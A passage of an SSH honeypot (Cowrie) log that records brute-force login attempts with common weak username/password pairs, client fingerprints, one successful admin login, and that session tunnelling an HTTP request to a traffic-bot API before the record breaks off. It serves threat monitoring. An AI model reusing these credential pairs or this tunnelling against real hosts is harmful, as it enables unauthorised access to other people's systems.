{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:08.474480Z","src_ip":"45.153.34.195","session":"66069cb6f709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"share","password":"share","message":"login attempt [share/share] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:08.905535Z","src_ip":"45.153.34.195","session":"66069cb6f709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:09.131598Z","src_ip":"91.92.40.36","session":"76c93a7f0733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:09.990029Z","src_ip":"45.153.34.195","session":"66069cb6f709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27516,"dst_ip":"159.203.135.109","dst_port":22,"session":"3073074aa400","protocol":"ssh","message":"New connection: 91.92.40.36:27516 (159.203.135.109:22) [session: 3073074aa400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:10.672642Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":18800,"dst_ip":"10.17.0.5","dst_port":22,"session":"863bf2f6ad04","protocol":"ssh","message":"New connection: 45.153.34.195:18800 (10.17.0.5:22) [session: 863bf2f6ad04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:11.111486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:11.116504Z","src_ip":"45.153.34.195","session":"863bf2f6ad04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:11.211201Z","src_ip":"45.153.34.195","session":"863bf2f6ad04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:11.595074Z","src_ip":"45.153.34.195","session":"863bf2f6ad04","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:11.622378Z","src_ip":"91.92.40.36","session":"3073074aa400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:11.625613Z","src_ip":"91.92.40.36","session":"3073074aa400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:12.679440Z","src_ip":"45.153.34.195","session":"863bf2f6ad04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40904,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8fa1ddc8c1b","protocol":"ssh","message":"New connection: 45.153.34.195:40904 (10.17.0.5:22) [session: a8fa1ddc8c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:13.993023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:13.998126Z","src_ip":"45.153.34.195","session":"a8fa1ddc8c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:14.081496Z","src_ip":"45.153.34.195","session":"a8fa1ddc8c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwerty","message":"login attempt [dev/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:14.153267Z","src_ip":"91.92.40.36","session":"3073074aa400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"1qaz@WSX","message":"login attempt [dmdba/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:14.330103Z","src_ip":"45.153.34.195","session":"a8fa1ddc8c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:15.440739Z","src_ip":"45.153.34.195","session":"a8fa1ddc8c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:15.509557Z","src_ip":"91.92.40.36","session":"3073074aa400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40916,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d6258678a0","protocol":"ssh","message":"New connection: 45.153.34.195:40916 (10.17.0.5:22) [session: 53d6258678a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:16.582207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:16.606874Z","src_ip":"45.153.34.195","session":"53d6258678a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:16.835047Z","src_ip":"45.153.34.195","session":"53d6258678a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:17.115062Z","src_ip":"45.153.34.195","session":"53d6258678a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51883,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bf3db8fcb44","protocol":"ssh","message":"New connection: 123.27.168.40:51883 (10.17.0.5:22) [session: 8bf3db8fcb44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:17.238733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:17.242129Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:17.489674Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:18.332791Z","src_ip":"45.153.34.195","session":"53d6258678a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:18.594295Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12262,"dst_ip":"159.203.135.109","dst_port":22,"session":"26d1bd47232a","protocol":"ssh","message":"New connection: 91.92.40.36:12262 (159.203.135.109:22) [session: 26d1bd47232a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:18.740884Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:19.060690Z","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:19.161030Z","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:19.248348Z","src_ip":"91.92.40.36","session":"26d1bd47232a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:19.255591Z","src_ip":"91.92.40.36","session":"26d1bd47232a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40918,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad9400bb82e2","protocol":"ssh","message":"New connection: 45.153.34.195:40918 (10.17.0.5:22) [session: ad9400bb82e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:19.330647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:19.336622Z","src_ip":"45.153.34.195","session":"ad9400bb82e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:19.433552Z","src_ip":"45.153.34.195","session":"ad9400bb82e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:19.841444Z","src_ip":"45.153.34.195","session":"ad9400bb82e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:20.171544Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2; rv:71.0) Gecko/20100101 Firefox/71.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1162\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: 